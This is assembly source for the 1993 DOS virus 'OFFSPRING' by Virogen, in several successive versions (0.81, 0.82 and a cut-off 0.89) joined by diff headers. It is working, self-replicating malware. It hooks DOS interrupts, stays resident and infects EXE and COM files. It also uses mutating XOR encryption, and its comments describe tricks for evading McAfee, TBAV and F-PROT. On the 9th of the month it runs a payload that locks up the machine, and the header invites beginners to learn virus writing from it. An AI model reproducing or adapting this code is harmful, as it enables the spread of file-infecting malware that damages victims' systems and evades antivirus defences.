max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,4 ; Restore original first
add si,offset org_bytes ; five bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne end_21
cmp ch,0FBh ; don't infect when the virus
jne run_res ; executes a file
jmp end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,04
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,0e990h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,4
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,4
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.81','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start
@@ -0,0 +1,671 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : 0.82
; - No longer detectable by Mcafee SCAN as anything.
; - No longer detectable by TBAV heuristics.
;
;
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
; is called the virus will infect up to 5 files
; in the current directory. It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,6 ; Restore original first
add si,offset org_bytes ; six bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
je exec_func
jmp end_21
exec_func:
cmp ch,0FBh
je end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,06
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,09090h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,6
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,6
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h,90h,90h ; preceed with three NOPs
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 7 dup(0) ; original first six bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.82','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start
@@ -0,0 +1,903 @@
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
; OFFSPRING v0.89 - BY VIROGEN - 10-03-93
; ************************************************
; - Compatible with : TASM /m2
;
;
; .. Welcome to another virogen viral creation! I'm supplying this source
; code so hopefully beginners in the art of virus writing can learn something
; from it. Please don't hack up this code and put your name on it.. thank
; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee
; a real OLD version of this virus, just keep giving him that same one eh?
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : 0.89
; - No longer detectable by TBAV heuristics.
; - No longer detectable by FPROT heuristics.
; - Infects on dir and drive change when no program running.
; deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
; - finally went through and somewhat cleaned up the messy code
; at least a little bit.
; - mutation is improved
;
;
title offspring_1
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Start of viral code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
start:
new_code db 0B8h ; MOV NN,xxxx
dw main ; main
push_reg db 50h ; PUSH NN
db 0C3h ; RET - jump to NN
db 0E9h ; id byte - not code
trick_jmp db 0E9h ; fake jump - f00l tbav
dw 5999 ; random number 0-5999
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Encryption/Decryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
_enc:
di_op db 0bfh ; MOV DI|SI,XXXX
mov_di dw offset enc_data ; Point to byte after encryption num
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
fill_space: inc ax ; This is filled with INC XX's
inc ax ; kill F-PROT heuristic detection
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
sw_byte3: ; INC SI|DI changes position in these bytes
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INC xx
sw_byte4:
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INX xx
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Non-Resident portion of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
main proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp: dw 0000
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for spawn
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
show_myself:
mov ah,09 ; display virus name
lea dx,v_id[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory
mov ah,signal ; is virus already in mem?
int 21h
cmp ah,reply ;
jne cont_i ; nope.. continue
jmp no_install ; yes.. don't install again
cont_i:
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
je cont_i2
jmp no_install
cont_i2:
mov ax,ds: [3] ;Block size in MCB
sub ax,230 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
